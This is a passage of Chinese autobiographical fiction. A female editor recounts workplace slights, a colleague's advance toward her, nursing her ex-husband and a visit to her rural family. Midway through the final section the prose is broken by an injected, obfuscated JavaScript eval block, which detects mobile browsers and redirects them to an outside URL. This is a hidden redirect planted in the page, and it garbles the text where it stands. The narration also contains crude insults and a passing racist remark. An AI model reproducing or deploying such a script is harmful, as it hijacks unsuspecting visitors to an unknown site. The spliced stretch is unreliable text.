我就在开讲座的时候用了我自己的思路:“说书人到底是怎样的一个人呢?今天我们来给他画像。那说书人长得什么样儿呢?文章里说了,他是个中年人,穿一件蓝布长衫。脸很黄很瘦……” 那天,来开讲座的专家很多。同一时段,很多人在开讲座,组里的人都慕名去听那些专家的讲座去了,我的台下,只有杨编辑和一个从陕西来交流的社长,她笑眯眯地听着。 我讲地很兴奋,嗓门也很大。 讲座结束,杨编辑说:“陕西来的那个社长说,你讲地很好。我觉得你以后要注意一下你的语速,不要太快。” 我说:“好的。” 会后,大家都回到了办公室。他们对今天的那些专家的讲座都做了点评。 “张编辑还是一如既往地稳,她历练了这么多年了,她是有望评高级职称的。”区指导员许编辑说。 “是的。她这个人功底还是很深厚的。”我们组里的人也说。 “她今天的讲座讲地是《屈原》。她事先查了很多资料。”吴编辑说。 “讲座这种事肯定是厚积薄发。没有一定的知识沉淀是不行的。” 许指导说,“我们社里今天是谁开的讲座?” 杨编辑说:“是大省。她讲的《说书人》。” “噢,关于《屈原》的讲座,我听过不止一次了。以前有一个大师讲过。他的方法很特别,他是给屈原画像。” 杨编辑看着许指导说:“嗯。” 许指导说:“所以,大师就是大师。他的想法寻常人根本就想不到。” 杨编辑仍然是看着许指导说:“嗯。”她的脸上波澜不惊的。我的想法就是给说书人画像,可是大家都像不知道一样。 没有人赞叹我的想法,没有人记得我的想法。 我是无名之辈,在金字塔的最底层,身上还沾满了黄沙。所以,即使我有新奇的想法,那也如同萤火之光,被那些深埋我的黄沙给一同埋没了。 只有我自己记得,我宋大省,在《说书人》这篇小说的构想上,是大师级别的。 我宋大省,不比那些大师差,更不比你们差。 可是,因为我籍籍无名,所以,即使我有新颖的想法,那也是个屁。因为,我在人家的眼里,根本就不算个屁。 大家都落座,准备开会讨论了。谈起今天的讲座,杨编辑让许编辑讲几句。 许编辑撒丫子就讲说:“社会形势总是瞬息万变,作为一线编辑,该怎么去应对,这确实是一个仁者见仁,智者见智的问题。你比如说,传统文化类文章该怎么解读?其实,刚才听完宋编辑的讲座,我就跟她说,‘宋编辑,我们做个实验。我们在读者读一篇文章之前,先给足相关资料,让读者把有关这篇文章的知识先搞清楚,再来阅读,你看看他们的满意度。’ 后来,我又跟宋编辑说,‘宋编辑,我们再来做个实验,在读者阅读这篇文章之前,我们不给他任何辅助资料,让读者仅仅依靠文章篇末所给的注释,来完成这篇文章的阅读,然后我们再来看看读者的满意度。结果,应该是截然不同的。’ 事实上,我们给读者讲了一篇文章,可是还有千千万万篇陌生的文章等待着他们。读者靠什么来阅读。完全靠他们个人的阅读素养。这才是一个人的核心竞争力。” 我微笑着配合着许编辑的讲说,频频地点头。别人也认真地听着许编辑煞有介事的讲话。可是我心里想,他根本就没有听我的讲座啊?他什么也没有跟我说啊?他的确什么也没有跟我说啊?可是为什么他能把根本就不存在的事说的像是真的发生过一样呢? 会后,回到办公室。杨编辑说:“大省,许编辑去听你的讲座了吗?” 我说:“没有啊!” 杨编辑说:“我也记得没有啊!我还特意拍照片了呢。没有他啊!” 我说:“就是没有啊!他根本就没有去,他也根本就没跟我说那些话!他居然说地跟真的似的!我还配合他演戏,跟他微笑点头!” 杨编辑说:“他这个人就是这样!能把有说成无,把无说成有。要不,领导能那么喜欢他嘛。” 我说:“可是他什么也没有跟我说啊?他的确什么也没有跟我说啊?” 2.老栾抓我的手 我离婚以后,就把我的事告诉了老栾。 老栾说:“我以前跟你说的那个外科医生,掌刀能力和吸金能力都很强。你看看你还能接受吗?我很喜欢这个男孩儿,我希望你们能够有缘结成秦晋之好。你离婚的事,我之前就跟他说了,他是没问题的。你要是可以考虑的话,他立马就在《小坛》附近买套房子。” 我说:“我喜欢简简单单的生活,太复杂的关系我不会处理,我不能接受这样的家庭。”老栾叹息说:“我一直想促成你们俩儿。你们成不了,我一直觉得很惋惜。” 我说:“谢谢你的好意。我现在忙着装修我的小房子,根本顾不上这些。” 老栾说:“你如果需要钱的话,就从我这里拿。” 我说:“谢谢老栾大哥。我现在还可以支撑下去。我弟弟借了我十万块钱,我贷款下来就还给他了。” 老栾说:“那就好。需要的话吭声。” 我说:“好的。” 一天下午,老栾跟我打电话,以将要开会的语气说:“你现在来我家一下。我有话跟你说。”那时候,我毫不质疑老栾的人品。我毫不犹豫地骑车前去了。 到了老栾小区大门口,我给老栾打电话。他说:“我看到你了。”我抬头朝前一看,老栾正站在他家窗前跟我招手呢,他家好像是在三四楼的样子。我很快到了他家楼下,乘坐电梯,很快上去。老栾出来迎接我。我跟他到了他家客厅。 家里只有他一个人。我问他:“嫂子不在家吗?” 他说:“不在。随便坐吧。”我就坐下来了,也没有多想。 他家的格局我也没觉得怎样,倒是他开口说:“我们现在有几套房子,其他地方还有一套。” 我说:“噢。”我知道他有一个儿子,也到了婚配的年纪。他已经是知天命的年纪,即使有家财万贯,那也是他儿子的。毕竟房子这种东西生不带来死不带去。所以尽管明白他是在跟我炫耀,我脸上也没有任何惊艳之色。在他这个年纪,同时拥有一个胖墩墩的油桶一样的身躯,和几套胖墩墩的房子,我不觉得有什么好炫耀的。 老栾说:“我喜欢晒太阳,我们到阳台上去坐着聊吧。” 我这人不喜欢晒太阳,一晒太阳就头晕,但是我还是勉强跟着去了。 原来他说的阳台要穿过他家卧室。 经过他家卧室的时候,他说:“我们年纪大了,分床睡。我爱打呼噜,你嫂子受不了。” 我看了看他家的卧室,床上是一条白色的被子。我看看那被子,想着那上面有多少,空气里又飞扬着多少,五十岁油腻大叔的皮屑、油脂还有臭屁。 我就跟他在阳台上坐着聊天。他又说起给我介绍的那个外科医生。 他说:“我给你说的那个医生是个外科医生,掌刀技术很强,吸金能力也很强。如果你愿意跟他结合,他随时可以在附近买套房子。” 我问老栾:“他在哪个医院?” 老栾说:“他在平陆区医院。” 我说:“他那么有本事,虽然离婚了,应该也不缺人吧。” 他沉默了一下,说:“的确是这样。他后来又谈过好几个,都是因为他的小孩子分了,那些女人对他家小孩子不好。这个他不能接受。” 我说:“我知道,现在很多人虽然单身,但是很多人单身不单性。” 他说:“是的。” 我说:“他这么风流,当初他跟他老婆离婚肯定也是他的原因。肯定是他不负责任,在外面乱搞。”说到这里,我居然有些愤愤。老栾也居然露出了被审判的愧疚。 他稍稍低了下头说:“确实是这样。” 我说:“我就知道,他肯定是这种人。我不喜欢这种人。他如果是真地想对他小孩负责,他当初就不该在外头乱搞。他亲手把他的家庭给捅了个大窟窿。他还想让无辜的人来给他补这个窟窿。他自己不负责,到处乱搞,却想让别人对他的乱搞负责。搞得他自己很负责一样。” 老栾迟疑着说:“他很有赚钱的能力,如果你嫁给他,可以养活你的父母。”我明白,老栾知道我家是农村人,觉得我没有见过世面,开始用金钱来诱惑我了。 我说:“我父母不需要我养活。他们一辈子吃苦惯了,给他们享福的日子,他们还不习惯呢。我也不贪图男人的钱。我自己赚地钱可以养活我自己。” 老栾觉得跟我无话可说了,我也觉得我不想再聊下去了。就起身告别。 老栾把我送到门外,在我等电梯的时候,他居然伸出手来想握我的手。我一把把手拿开。 他说:“不好意思,我刚才喝了点酒。”可是他身上没有一点儿酒味儿。我后来才知道这是他惯用的试探不成的托词。 我说:“没事儿,老栾再见。”我这才明白过来,老栾是在试探我。我是压根儿没有想到这一层。 他让我去他家的时候,我当即就去了。我是抱着去开会的心态去了他家。我想着都是文化人,素质应该很高,自觉性也很强,都比较廉洁,要面子。我一直拿他当长者,当知心老大哥,谁知道这人居然是个老流氓。 哼!他是觉得我跟我阳痿前夫离婚了,我缺男人急地难受是吗?他是不是觉得我跟他独居一室,我会忙不迭地喘着粗气朝他扑过去? 哼!也不看看他那个鳖样儿!油腻发福的脸,发酵的跟个屁股似的!糟老头子坏得很,乘人之危,什么玩意儿! 可是这件事我跟谁都没说。我怕人言可畏。我说了一,人家能传成二。把本来没有的说成有。我非常相信《小坛》的人肆意中伤的本领。所以我不能说。而且我是外地人,一个离异妇女,无依无靠,老栾是本地人,盘根错节,关系众多,我根本斗不过他。 后来,我见到了老栾,还是像往常一样打招呼。但是心里对他有了提防。老栾见了我也跟没事儿人一样。 后来,我想,这件事,我根本没有说出去,我要跟老栾说清楚。我虽然没有说,但是,如果老栾以为我到处说了,我怕他以后会到处中伤我,打击我。 后来的一天,我去文印室的时候,见到了老栾。 我说:“老栾,我要复印几篇稿件。” 他说:“好的,宋编辑。你自便。” 我把文稿放在复印机上,按下了复印按钮。 “你们组的郝跃结婚了。请你了没有?”老栾问我。 “没有,我没听说。我今年不跟她一个办公室。”我说。 “郝跃82年的,属狗的?”老栾说。 “我不清楚,我一直以为她是属猪的呢。”我说。 “听说郝跃找的婆家条件不错。公公婆婆都是退休的。”老栾说。 “我也不清楚。我没听说过。”我说。 “我本来也不知道,他们来复印东西的时候说的。”老栾说。 “哦,你这儿是八卦的交通枢纽啊。”我说。 “听说郝跃生完孩子以后情况不太乐观,她生病了。”老栾说。 “郝跃生病了啊?”我说。 “嗯,听说是慢性肾炎。”老栾说。 “慢性肾炎是怎么回事啊?”我说。 “就是腰子病。”老栾轻描淡写地说,“听说她生孩子之前就有高血压,跟我们这些人一样,都是富贵病。都是河豚、老鹅吃多了,吃地痛风发作。” 我说:“郝跃倒是不怎么胡吃海塞的。她不像我,暴饮暴食。她就是爱熬夜。” “熬夜最伤身了。”老栾说,“有高血压还熬夜,这是自己不想好了呀。” “现代都市青年嘛。郝跃的生活比较新潮。”我说,“现在很多年轻人不是都有夜生活嘛。身体这种东西说不上的。有人成天熬夜,也没事儿。” “这个可能跟基因也有关系。”老栾说。 我看到他办公桌旁边放着一个水桶,水桶里游着几条鱼。 我就问他:“这都是你钓的吗?” 他说:“是的。这个天不冷不热,去钓鱼的话,肯定是大丰收啊。” 我说:“你们会钓鱼的人当然是大丰收,像我们这样不会钓鱼的人就会颗粒无收了。” 他说:“不管会不会钓鱼,首先,水里得有鱼。没有鱼的话,任谁也不好钓。钓小鱼的话,你得用硬竿,硬竿收竿快。钓大鱼的话,你得用软竿。软竿不容易跑鱼。” 我心里想,老栾说钓鱼,我怎么觉得他句句是在说钓女人呢。是的,钓年轻的女人出手要快,因为年轻的女人不懂事,还容易脱手。钓年纪大一些的女人呢,要软磨硬泡,因为年纪大的女人没那么好上手。 我说:“钓鱼还有这么大的讲究啊?你不说,还真不知道。你是去江里河里钓的呢?还是在塘里钓的啊?” 他说:“我有时候去江边钓鱼。有时候去塘里钓鱼。去江边钓鱼,有时候还能见到螃蟹在大马路上爬。我就赶紧去把它捡过来,一个螃蟹有半斤重,开心死了。比钓到鱼还要开心。” 我说:“那么大的螃蟹,我还真没见过呢?” 他说:“公螃蟹,膏还不够多。我把它先养着。” 我说:“你居然会养螃蟹?” 他说:“把玉米泡泡,泡到能捏地动的时候,给螃蟹吃,给它补充维生素E。我把它养上一段时间,再来蒸着吃的时候,它里头全是蟹肉,跟面包蟹似的。” 我说:“‘春江水暖鸭先知’。这个时候去江边钓鱼,连心情都很好吧?” 他说:“江边钓地不如塘里钓地多。我喜欢去一些野塘子钓鱼。塘里就那么大的空间。鱼在里头跑来跑去,总有路过你的钓竿的时候。河里、江里,就像是在高速上。那些鱼跑到你跟前的几率很小。” 他在说话,在客客气气地说话。一个伪君子在道貌岸然地说话。我听着他说话,心想,你这话说的又是撩女人的技术吧。是的,你撩女人都是找一个圈子里的熟悉的女人下手,你要是跑到大街上撩女人,那是不容易撩地到的。你是不知道自己到处撩女人是有多恶心的。 不管他再怎么滔滔不绝,我对他是再也没什么好印象了。就像你看见了一个画皮,不管他披着多么华丽的外衣,可是你还是知道他其实是个画皮。就像你看到一个披着羊皮的狼,假装慈善地向你展示着他的和蔼慈祥,可是你见过了他张开的血盆大口,不管他伪装地有多好,你都不会再对他产生任何美好的感受。你连走路都会躲着他走,躲着他的灵魂走。 他又发福了,他发皱浮肿的面皮像是一江春水的银色的波纹似的。他的心越发无聊,越发需要一些意外的刺激了吧,所以,不是万分不得已的必要,千万不要去刺激他。否则,也许你的一句话,一个无意的眼神,他都会以为你要跟他共度春宵呢。跟这样恶心的仍然被叫作人的人没什么好说的,离他远远地,敬鬼怪而远之,远远益善。 我的文稿快复印好了。我去复印机那里拿我的文稿。 老栾问我说:“你的房子在哪个小区?” 我说:“在普罗斯旺花园。” 老栾往窗外看了看,问我说:“从这儿能看到你家吗?” 我说:“看不到。” 我心里说,你个老流氓,你问我家干什么?你这个流氓猪八戒,你要投胎你去猪圈,你想死,你去你钓鱼那里的坟子圈儿。你问我家干什么? 我顿了顿,跟他说:“老栾,你放心,那天的事,我没有跟任何人说起过。” 老栾听了这话,脸“蹭”地红了。他说:“小宋,对不起,我当时喝了点酒。” 我说:“没事的老栾。我当时离婚,买房子用钱的时候,是你那么诚心地跟我说,需要钱的话从你这里拿。我虽然没有用您的钱,但是这对我是多大的恩情。我都记着呢。” 这以后,我见了他,顶多打个招呼,不想再跟他多说一句话。一件事发生一次就足以看透一个人的本质。一个人的本质通过一件事就足够体现出来了。如果一个人在一件事上坑害了你一次,你还继续靠近他,他会在同样的或是类似的事情上继续坑害你。因为狗改不了吃屎。狗吃屎是一种习惯。当然,如果你还是改不了想靠近那个坑害你的人,这句话也同样适合于你。这要看怎样理解。 那天晚上,我做了一个梦。我梦见我出于对同事的和睦的照顾,陪同着老栾在我们小区里转悠,但是我始终没有告诉他我家住何处。等到最后,等我们一起走到了小区大门口儿。我撇眼看了看我身旁的我的家门口儿。我家门口儿是一个稍微有些逼仄,仅容一人侧身而过的夹道口儿。老栾问我:“这是你家吗?”我说:“不是!”老栾不等我搭话儿,他的胖大的身躯一下子往那夹道口儿上扑过去。他的胖身躯当然不可能扑进去。他的脑浆被撞地崩裂了,洒到墙上,也弄脏了小区的地。 人心是最不能直视的东西。比如你认为老实可靠并且木讷本分的粉刷工兄弟,和道貌岸然地跟你谈论着他跟他漂亮妻子的罗曼史的文化人,实际上可能早就蠢蠢欲动着想要跟你共赴一场巫山云雨。比如你以为跟你志趣相投掏心掏肺形影不离的好姐妹,也许在内心深处根本就瞧不起你,甚至认为你是比她更下贱更水性杨花的东西。比如迫于你的淫威不得不向你点头哈腰,甚至愿意为你端屎端尿的下级或是小辈,可能早就因为你的可鄙或是可恶恨透了你,常常朝着你的背影破口大骂或是唾弃不已。比如你热情招待倾囊相赠的老太太,可能一边嚼着骨头一边想着怎样源源不断地从你身上谋取红利。比如一个你自以为是地爱着的男人正在醉生梦死地想着下一个想要征服的女人,因此他的嘴上露出了骄奢淫逸的笑痕,而你却误以为那表情是对你的爱抚和中肯,因此,你的嘴角也露出了更加讨好和热忱的妩媚。比如你正向他伸出援手的跟你血浓于水的兄弟姐妹,在你寿终正寝的时候,不仅会让你托孤无门,反而会虎视眈眈地看着你留给你的骨血的那点唯一的资本。 人活在这个世上,太不容易了。既要披荆斩棘为自己谋一条生路,还要对付那些狼虫虎豹和蝇营狗苟。那些狼和豹子可以危及你的生存和生命,你得罪不起,还得跟他们低声下气卑躬屈膝。那些蝇营狗苟也来攻击你,你一边忙着擦你那被荆棘划破口子流出的血,一边还得挥舞着你手里的镰刀,好让那些蝇营狗苟赶紧离去。 当然,贪婪的残忍的毒害别人的人都不觉得自己是错的。马蜂蛰了人,还认为被蛰的人不仅不应该感到疼痛,反而该认为是一种极大的荣幸。吸血鬼把人的血吸干,还自认为它是在普度众生。屎壳郎认为自己多么圣洁干净。 我有时候觉得人真的还不如动物,动物还有一层皮毛遮掩着,人呢,连皮毛都没有,脱了衣服浑身上下光溜溜的,真难看。动物千奇百怪,而人呢,一旦脱光了衣服,跟一堆饺子似的,根本分不出个所以然来。当然,这里面,黑人除外。 3.前夫摔骨折了,第一时间给我打电话 五月的一天,我坐在桌前,猛然间想起了他,悲从中来,潸然泪下。然后我的手机就响起来了。是他。我接了电话,难过地说不出话。 “我的锁骨摔断了,你能来一下吗?”他说。 “好,我马上过去!”我义不容辞地去了。我想跟他复婚吗?不想。跟他受过的痛苦,我不想再受第二次。我去,是出于人道主义的救助。 我到了他家里,他穿着那件我很熟悉的灰色的羽绒服,后背上满是泥水。 “我在楼下摔的,我下楼买菜摔的。”他撒娇地说。 他跟我撒娇,我一点都不奇怪。以前,他跟我也是如此。 “去医院吧。”我说。我走在前头,他走在后面。他嘟着嘴唇,上下牙的牙齿轻轻地磨合着,做出撒娇的样子。 “报应!”我说。我是打心眼里这么说。我没有多生气,我不生气,我也不心疼。 到了医院,办理住院手续。 护士问他:“她是你什么人?” 为了彼此的面子,我说:“老婆。” 办完住院手续,我赶紧去买住院的用品,再去他家里拿他要换洗的衣物。我怕医院的被子不太干净,盖着也不舒服,我就给他带了他家里的轻薄的被子给他换上,那被子也是原先我买的。 他爸爸也闻讯赶来了。医院距离他家还有一段路程。我们商量了一下,决定早饭由他爸爸去食堂打饭,中午我来送饭。 早上,我不用送饭,就去菜场买了冬瓜排骨炖上,中午下班回家,再把排骨捞出来放在饭盒里,骑上自行车给他送过去。为了给他送饭,我特意去小超市里买了好几个饭盒,还买了保温壶。 晚上下班了,我就买了樱桃去看他,他坐在病床上吃的时候,吐核不方便,我还是习惯性地伸手为他接樱桃核,一切都是那么自然。 那阵子,我又要忙工作,又要跑医院。天热,我跑地很辛苦。 几天以后,在我去医院的时候,看到他妈妈也来了。估计她是晕车了,靠着医院的墙坐着,边恶心边哭。我没去理她,不想理。每一个儿子的教育都有母亲的责任。他快四十岁了,不是十四岁,可他还跟个大姑娘似的,动不动就脸红,不爱说话,你作为母亲,还觉得那是优点。他炒股败家,我跟你申诉,你还觉得是我多事,如果不是我跟你说,你可能还会纵容他。你不是一直惯着他,让我让着他吗,我是一直让着他。可是现在我不想再让了。 他的那个五十多岁的律师朋友跟他老婆秦师娘也来看他了。他们是他最好的朋友,必然会来的。他的那个五十岁的律师朋友依然是高高胖胖,戴着副眼镜,夹着个黑色的皮包,斯斯文文地跟他说话。他的老婆,秦师娘在一旁微笑着。 他们临走的时候,秦师娘悄悄跟我说:“他妈妈说,小宋自从买了房子翅膀就硬了。她让我再劝劝你,让你们复婚。我没跟你说。我跟她说,是她儿子的责任。” 她愤愤不平地跟我说:“我当时就想,他要跟你离,你就跟他离啊!你怕他什么!我要是你亲姐姐,我早就扇你了!”她说她要扇我,要把我扇醒了,这话我一点都不生气,我知道我太不争气,我那个时候就是怕离婚,就是没有勇气离婚。 我说:“我当时就是怕离婚了再也找不到了。社会上的人三教九流的,那么乱。我害怕的。” 她说:“他都不怕,你怕什么?” 我说:“他会谈,我不会谈。” “光谈有什么屁用!有本事娶回家才是真的!”秦师娘说。 我说:“我已经跟他离婚了,以后我就不再叫你‘师娘’了,我叫你‘秦姐’吧。” “好的。”她说,她很高兴,欣然接受了。 其实,听了秦姐的话,我对他妈妈倒是有了一些恻隐之心。秦姐为什么没有听她妈妈的话来劝说我呢?是打心眼里鄙视他,还是不希望他好呢。我心里倒是泛起了嘀咕。但是,即使她来劝说我,我还敢跟他复婚吗。我就那么贱骨头吗。 他出院了,我和他一起收拾东西回家。到家以后,他走到走廊那里的台子上,顺手拿起钥匙和门卡要递给我,我没接。 他又开始大发雷霆了:“我出了事,第一时间让你来是什么意思?你以为我不可以叫别人吗?你不愿意复婚,你来干什么?” 他又生气了,只是现在,我不再害怕,也无所谓了。 我说:“你让我来,我出于人道主义就来了,我来不等于我要跟你复婚啊。” 复婚?他把婚姻看得太简单了。离婚他可以任性,复婚是由不得他了。这么多年,他对我的精神上的折磨,不是他一句简单的“复婚”就可以拉倒的。他如果真地有复婚的诚意,那他得给我跪上十天十夜,我还得再考虑考虑。 我回去的路上,打电话给他发小的老婆:“他要跟我复婚。” “让他去死吧!”她说,“他不给你下跪就想复婚?” “我不会跟他复婚的,我可受够了。他这样的人,以后还会那样对我。” “嗯。” 我很平淡。你以为我还是会像以前那样任由着你折磨吗。你这个变态!电视剧里,太监也要娶老婆,太监又特别会折磨老婆。古人的事情,我无从得知,但是以我的亲身经历,我觉得那多半是真的。没根儿的东西,折磨起女人来,可真够狠的! 4.回娘家 夏天,等我再回家的时候,我弟弟不在家。 我问我妈妈:“鸿雁又去卖小玩具去了?” 我妈妈说:“小玩具不能卖了。不挣钱。恁弟弟现在卖香蕉,卖哈密瓜。卖不完的送给笑笑家几个,剩下的带回来,咱自己吃。有好姊妹好娘们,我送给人家吃。咱家今年可吃了哈密瓜了。你以后回来,可不要再买哈密瓜了哈,也不要买香蕉了。都吃够了。你看,咱家还有桃,天井里结地滴了八挂地。” 这么多年,我只看到过我家压枝低的桃子,很少见过她满院子的桃花。这么多年,我们母女不是相逢在夏季,就是相逢在冬天里,我们看到的彼此,不是穿着汗衫,就是穿着厚厚的棉衣。我知道夏天里,院子里的桃子很大很红,却几乎没有见过它妖艳地绽放的样子。 我妈妈满头白发、笑嘻嘻地看着我,一副对生活很满足的样子。她不知道,她吃过的苦,比黄连还要苦,她受过的罪,不计其数,她辛苦了一辈子,她的儿女还不能让她安享晚年,衣食丰足。 大门外一阵“七立哐当”的小汽车的声响,我弟弟回来了。 我问他:“小弟,你又开始卖哈密瓜了?那些小玩具怎么办?” 我弟弟边卸货边说:“先放笑笑家里。” 我说:“人家要是用车呢?” 我弟弟说:“不行,让大响拉了去收废品的地方卖了。” 我说:“那么多小玩具,就当废品卖了啊?多可惜啊。” 他说:“啊,只能卖了。还能怎么办?” 我说:“你只卖哈密瓜吗?人家老是吃也吃够了啊。” 我弟弟说:“我也卖葡萄。” 我说:“啊?你还卖葡萄啊?我喜欢吃葡萄。” 我弟弟说:“葡萄要吃巨峰,巨峰好吃。夏黑发硬,不好吃。” 我说:“什么是巨峰啊,什么是夏黑啊,俺都不知道。” 我弟弟说:“巨峰容易剥皮,夏黑皮硬,不好剥。” 那时是夏天,水果烂地快。 我妹妹打电话跟我说:“姐,今天,俺哥又给俺家送来四个哈密瓜。” 我说:“他就是实诚,他卖哈密瓜也不容易。他都给恁了,他不如留着自己卖了。咱姊妹俩好,我说话也不怕你生气。” 我妹妹说:“就是的。我说他,他也不听。每回他赶完集,都要去给俺送几个哈密瓜。几个小孩都可高兴了。俺都不忍心。” 我压低声音说:“他就那样。他送就送吧。你说鸿雁也不去上班,他一个小青年天天去赶集,怎么说媳妇的?去上班,说起来也好听啊。” 我妹妹说:“谁知道他怎么想的。姐,我现在搁家洗衣服的。等我晾好衣服,我去找你玩儿。” 我说:“你带着三个小孩儿不容易,不要来了。我去恁家找你去。” 我妹妹说:“没事儿。我也想俺妈了,我去给俺妈送点儿菜。” 不一会儿,我妹妹开着她的电动三轮车来了。 “哟!雪涵来了!子涵来了!”我赶紧去迎接。 我妈妈也笑着迎了出来:“佳乐怎么没来啊?” “佳乐跟着他爸爸收摊儿去了。他也不喜欢来咱家。地上全是鸡屎、鸭屎、鹅屎,连下脚的地方都没有。佳乐来咱家,走路都是翘着脚走。谁知道他怎么那么爱干净的,俺大丫、二丫就喜欢来外奶奶家。”我妹妹说。 两个小丫头可是很开心,她们穿着紫色的连衣裙站在大恶心家的屋后头用粉笔画画。 “你看,这姊妹俩多会画啊,画地真像!”我妈妈笑着说,“笑笑家的小孩儿真好,你看人家三个小孩儿,跟水洗的似的。” 我妹妹说:“俺哥,我今天看见顾丹了,顾丹跟骄傲结婚了。她站在骄傲家的大门口儿,比以前长得高多了,也比以前胖点了,头发拉地直直的,可好看了。” 我弟弟没说话。 我说:“骄傲家不是在上海吗?他们怎么从上海回来了?” 我妹妹说:“回来了,骄傲都回来可长时间了,回来结婚的。” 我说:“谁给他们介绍的,怎么把顾丹给介绍到凡庄来了?” 我妹妹说:“谁知道谁介绍的啊,人家骄傲家有钱,给他介绍的人多。” 我说:“这以后,鸿雁遇到顾丹多尴尬啊。” 我弟弟说:“有什么好尴尬的。”说着,他抄起扳手去修他的开着做生意的小汽车。他的银色小汽车前头的铁皮已经撞地遍体鳞伤,锈迹斑斑了。 我看看我弟弟的车,那小车已经撞地不像样子了。车头两边很多地方都生锈了。我问我妈妈说:“鸿雁怎么把车撞成这样的?” 我妈妈说:“他开车猛浪。上回他搁青羊山还把人家的车给撞了。人家不让走。非要他陪钱。后来,他给大响打电话。大响来了,跟人说说,鸿雁给了人家五百块钱,人家才让走。大响可喜欢他了,对他可好了,可给他帮忙了。动不动就请他去他家吃饭,喊他一块喝啤酒。鸿雁还不喜欢人家。人家大响也不生气。天天‘俺哥俺哥’的,喊地鲜甜。” 我妹妹说:“后来俺老婆婆知道了,俺老婆婆说,怎么给他五百的,太多了,他这是扼人的。俺老婆婆说,她早不知道,她要是知道的话,去跟那人说说,俺哥根本不用给他五百块钱。” 我说:“鸿雁搁青羊山也是多亏了有笑笑家帮助了。他搁人家的那些小玩具呢?全当废品卖了?多可惜啊,一万块钱买的。卖了多亏啊?” “那怎么弄啊?”我妈妈说,“不当废品卖怎么弄,卖又卖不出去。人家没人买。鸿雁赔本儿按斤卖,五块钱一斤,都没人买。都过时了。人家该买的也买足了。谁能天天吃玩具啊?” 我说:“鸿雁也太能浪费钱了。” 我妈妈说:“他也是想好的啊?一开始卖地确实好。他才又去进货的。” 我说:“他干什么都是虎头蛇尾。不能一本正经地干到底。他卖什么,你都跟着去啊?” 我妈妈说:“我不跟着去怎么弄啊。我得跟着帮忙看车。多个人手好点儿。摆摊儿可不容易了,这个挤,那个挤的。人家旁边卖东西的,都把位置占地死死的。连下脚的空儿都没有。人家都是青羊山的,地头蛇,咱惹不起。跟人家好说歹说,人家才腾点空儿。上回一个人,想欺负鸿雁,骂骂咧咧的,幸亏我在。要不是我跟着,人家都要打他了。” 我们正说着,我弟弟扛起一把大红阳伞,跟我们说:“走,到大街上支阳伞去。” 我们都跟着去帮忙。我弟弟把大阳伞放在二阳家门前的大路上。我们都去帮着把伞撑开来,可是都不会。我们左掰掰,右掰掰,怎么都搞不成。 “人家大响会,会的一下就撑开了。咱是不熟练。”我妈妈说。 “那怎么办?要不我打电话给大响,让他来帮忙?”我妹妹说。 “别叫大响了。咱慢慢研究研究吧。大响来一趟也不容易。你带着两个孩子先回去吧。俺三个人在这儿慢慢摸索摸索。”我妈妈说。 “那我回去了,大姐!”我妹妹说。 “回去吧,小妹。路上慢点儿,注意安全。”我说。 “一路平安!”我妈妈说着,又去摆弄那把阳伞。国福也走出家门,他背着手站在路边看。 “你别动!你有什么用哎!”我弟弟朝我妈妈吼道。 我妈妈低下头板着脸,不吭声儿。她看看我,压低声音跟我说:“不通人性。我怕他啊?我不敢跟他吵啊?俺是怕丢人。我要是跟他吵了闹了,不丢人嘛?我天天跟着他赶集,可受罪了,跟人家外人没本事,天天熊我。他这样的得绝户!” 到底是我弟弟,他很快摸索出了支阳伞的道理,他终于把阳伞支起来了。 “好了!会支啦。明天就能带着它赶集了。卖东西,得支个阳伞,没有阳伞不行。”我弟弟得意地说。 我跟我妈妈的脸上也露出轻松的神色。我妈妈去烧饭了。我妹妹带来了几根新鲜的丝瓜,放在地上,远远看去,青翠可爱。我想,今天晚上,可以美美地吃个丝瓜了。 过了一会儿,我妈妈喊我吃饭了。我一看,那丝瓜又是没打皮,满盘子黑黑的。 我说:“妈妈,丝瓜你怎么不打皮的?” 我妈妈说:“丝瓜要打什么皮的?就这样带皮吃是的!” 我很惊讶,但是也不再吭声儿。我妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137806|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈起身去锅屋盛饭去了。 我弟弟说:“哼!咱妈就这样,说是丝瓜带皮吃省。笑笑出门子到她老婆婆家,炒丝瓜都不知道要打皮。人家她老婆婆大姑姐跟笑笑说了,笑笑这才知道吃丝瓜要打皮!” 我说:“咱家的小孩儿没见过世面,就是容易被人看不起。” 我弟弟说:“人家看不起?怪人家看不起吗?吃个丝瓜都不打皮!拿就下材的样儿!非得这样吃不行!不能好好吃!我都不稀地说,咱妈就这命,一辈子穷命!” 白天,我还是像以前一样,背着粪箕子,爬上蒜架子,朝着粪箕子忽喽忽喽扒蒜。然后背起粪箕子,把蒜倒到大门口儿的树荫底下,坐在一个小板凳上,低头剥蒜。我妈妈做饭,收拾家务。我低头静静地剥蒜,想着我自己的心事。 我妈妈收拾一会儿,就过来跟我一起剥蒜。 我低着头剥蒜。我妈妈冷不丁地跟我说:“上回你买房子要借十万块钱,我没让恁弟弟借。我给恁弟弟说的,不能借。” 我说:“你没让俺弟弟借,你怎么还给我说的。” 我妈妈说:“我给你说一声儿。不给你说一声儿,俺觉得对不起你。” 我心里有些埋怨,我说:“你怎么不让俺弟弟借给我的?” 我妈妈说:“我是觉得十万块钱太多了,俺就那点儿家底子,留着给恁弟弟说媳妇的。俺要是借给了你。你要是就是不还,怎么办?这样的事儿多了。净有的闺女借了父母的钱赖着不还的。” 我说:“我那时候都离婚了,无家可归了。我要买个房子,你还不让俺弟弟借啊?我又不是不还了,我不是给俺弟弟说好了嘛,等我一买好房,公积金下来,我就立马还给恁吗?再说了,我不是还有工作吗?我不会攒钱还给恁吗?” 我妈妈说:“谁知道你说的是真的假的?恁弟弟跟他同事商量商量,他同事也说的,不能借。人家也觉得你说的事儿是假的,不可能的。十来万块钱,怎么那么快就能还上。你要是死活就是不还怎么办?恁弟弟一开始也是不敢借。” 我说:“那最后俺弟弟不是借了吗?” 